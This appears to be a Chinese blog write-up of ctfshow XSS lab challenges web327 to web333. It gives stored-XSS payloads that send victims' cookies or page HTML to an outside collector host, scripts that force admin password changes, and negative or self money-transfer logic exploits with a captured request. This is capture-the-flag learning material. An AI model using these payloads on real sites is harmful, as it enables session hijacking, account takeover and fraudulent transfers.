首页 > 其他分享 >ctfshow web入门 xss web327--web333 存储型和七七八八的

ctfshow web入门 xss web327--web333 存储型和七七八八的

时间:2024-07-18 12:30:31浏览次数:21  
标签:Control web http xss -- Content Sec Access

存储型漏洞

web327

在这里插入图片描述
在这里插入图片描述
这道题貌似和反射型的xss差不多,直接打就行

web328

body 和svg的好像不行
<script>window.open('http://ceye地址/'+document.cookie)</script>
<script>window.open('http://hrcgnc.ceye.io/'+document.cookie)</script>

先注册,密码多于6位很明显在这里
但是不知道注册还是登录
在这里插入图片描述
在这里插入图片描述
管他的注册和登录密码都用xss打一遍

在这里插入图片描述
替换cookie
在这里插入图片描述
就可以了
貌似是必须要登录才可以

web329

发送给你cookie马上就会失效就不能伪造了
那么要写个能获取所有页面内容的payload

<script>location.href="http://ip:port/"+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML</script>

innerHTML 是一个属性,用于获取该元素的内部 HTML 内容,即该元素包含的所有 HTML 标签及文本内容。

python3 -m http.server 9999

在这里插入图片描述
爆flag了

web330

还是读取所有内容
用户名和密码都写这个,我是这样子才成功的不知道为啥

<script>location.href="http://ip:port/"+document.getElementsByClassName('layui-container')[0].outerHTML</script>

outerHTML 是一个属性,用于获取该元素的完整 HTML 内容,包括其自身的开始标签、结束标签及其内部的所有 HTML 结构。

在这里插入图片描述在这里插入图片描述

url解码就行

修改密码

<script>location.href="http://127.0.0.1/api/change.php?p=123456"</script>

一样的操作,然后登录即可,

username:admin
passwd:123456

在这里插入图片描述

web331

改密码,请求方式为POST

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>

在这里插入图片描述
除了payload换了其他的操作和上题一样

web332

在这里插入图片描述

改不了密码了,那么这里其实是个很抽象的逻辑漏洞就是给别人转负的钱让自己钱增多
在这里插入图片描述
注册个账号然后随便给其他人转个负数

web333

自己给自己转钱逻辑漏洞,但是不能大于自己所有的金额数
注册账号提交之后给自己转账
在这里插入图片描述

Request:

POST /api/amount.php HTTP/1.1
Host: febddd48-db0a-4356-9c57-c49967f49c5b.challenge.ctf.show
Cookie: PHPSESSID=6fviq4tur5ec2np8b19jvhju8h
Content-Length: 18
Cache-Control: max-age=0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://febddd48-db0a-4356-9c57-c49967f49c5b.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://febddd48-db0a-4356-9c57-c49967f49c5b.challenge.ctf.show/transfer.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close

u=baozongwi&a=8100



Response:

HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Wed, 17 Jul 2024 08:40:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 12

交易成功

那么我们已知是POST传参,那么我们找到相应的payload,给转钱

异步xss

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'111',a:'10000'}});</script>

先注册一个111的账号,然后再用xss的payload进行注册,再者登录就会转111一万块了,只可以登录回去买flag了

标签:Control,web,http,xss,--,Content,Sec,Access
From: https://blog.csdn.net/2301_81040377/article/details/140494888

相关文章

  • (nice!!!)LeetCode 3112. 访问消失节点的最少时间(图论、边的dijkstra、堆优化)
    3112.访问消失节点的最少时间思路:节点n的个数非常大,用普通的dijkstra算法对节点进行枚举是会超时的,时间复杂度为0(n^2)。这里边的数量最大为10^5,可以对边使用dijkstra算法+堆优化操作,时间复杂度为0(mlogm)。节点消失问题,只需要加一个判断条件,判断到每个节点的最小时......
  • java创建线程池的几中方式
    1.创建线程池四种方式使用Executors类,Executors类是Java中用于创建线程池的工厂类,它提供了多种静态方法来创建不同类型的线程池使用ThreadPoolExecutor类,ThreadPoolExecutor是Java中线程池的一个核心类,它提供了更细粒度的控制来创建和管理线程池使用Future和......
  • 云电脑十大品牌排行榜,虚拟桌面-云桌面十大厂商排行榜
    云电脑作为云计算技术的重要应用之一,正在逐渐改变我们的工作和生活方式。诸多优秀的云电脑品牌正在市场上崭露头角,这些品牌各具特色,有的注重性能和稳定性,有的强调安全和易用性,有的则专注于特定行业或场景应用。究竟哪些品牌能够脱颖而出,成为市场的佼佼者呢?接下来,小社长将为你揭......
  • 猫头虎分享已解决Bug ||Asset validation failed (90296) App sandbox not enabled. T
    ......
  • 运维锅总详解Kubernetes之Service
    本文尝试从Service暴露服务方式、Service控制器实现原理、使用规范等方面对Kubernetes中的Service进行详细介绍。一、Kubernetes中的pod有哪些暴露服务的方式各种Kubernetes中暴露服务的方式都有其独特的优缺点,根据具体的使用场景和需求,选择合适的方式非常重要。下面是......
  • [1036] Extracting hyperlink information from an Excel file
    Certainly!ExtractinghyperlinkinformationfromanExcelfile(specifically.xlsxformat)inPythoncanbedoneusingtheopenpyxllibrary.Let’sdiverightin:Usingopenpyxl:First,makesureyouhavetheopenpyxllibraryinstalled.Ifnot,youcan......
  • uniapp [全端兼容] - 详细实现接入使用海康威视监控云端显示及控制功能,网站集成安装海
    前言如果需要Vue版本,请访问这篇文章。在uni-app全平台兼容(H5网页网站、支付宝/微信小程序、安卓App、苹果App、nvue)项目开发中,详解免费安装使用“海康威视监控摄像头”在网页中对接设备并进行实时显示监控画面及各种功能操作控制教程,对接海康视频监控播放及回放......
  • C# 使用模式匹配的好处,因为好用所以推荐~
    类型检查和转换:当你需要检查对象是否为特定类型,并且希望在同一时间内将其转换为那个类型时,模式匹配提供了一种更简洁的方式来完成这一任务,避免了使用传统的as和is操作符后还需要进行额外的null检查。复杂条件逻辑:在处理复杂的条件逻辑时,特别是涉及到多个条件和类型的情况下,使......
  • 25届华为机考笔试考的啥?如何通过机试|附全岗位真题库通关攻略
    职小豚一、华为公司介绍以及招聘信息嗨,各位小伙伴们!今天咱们来聊聊科技界的巨头——华为。华为,成立于1987年,总部位于中国深圳。经过多年的拼搏与发展,如今已成为全球领先的信息与通信技术(ICT)解决方案供应商。华为的业务范围那叫一个广泛,涵盖了电信运营商、企业、终端和......
  • 能把进程和线程讲的这么透彻的,没有20年功夫还真不行【0基础也能看懂】
    本篇会加入个人的所谓鱼式疯言❤️❤️❤️鱼式疯言:❤️❤️❤️此疯言非彼疯言而是理解过并总结出来通俗易懂的大白话,小编会尽可能的在每个概念后插入鱼式疯言,帮助大家理解的.......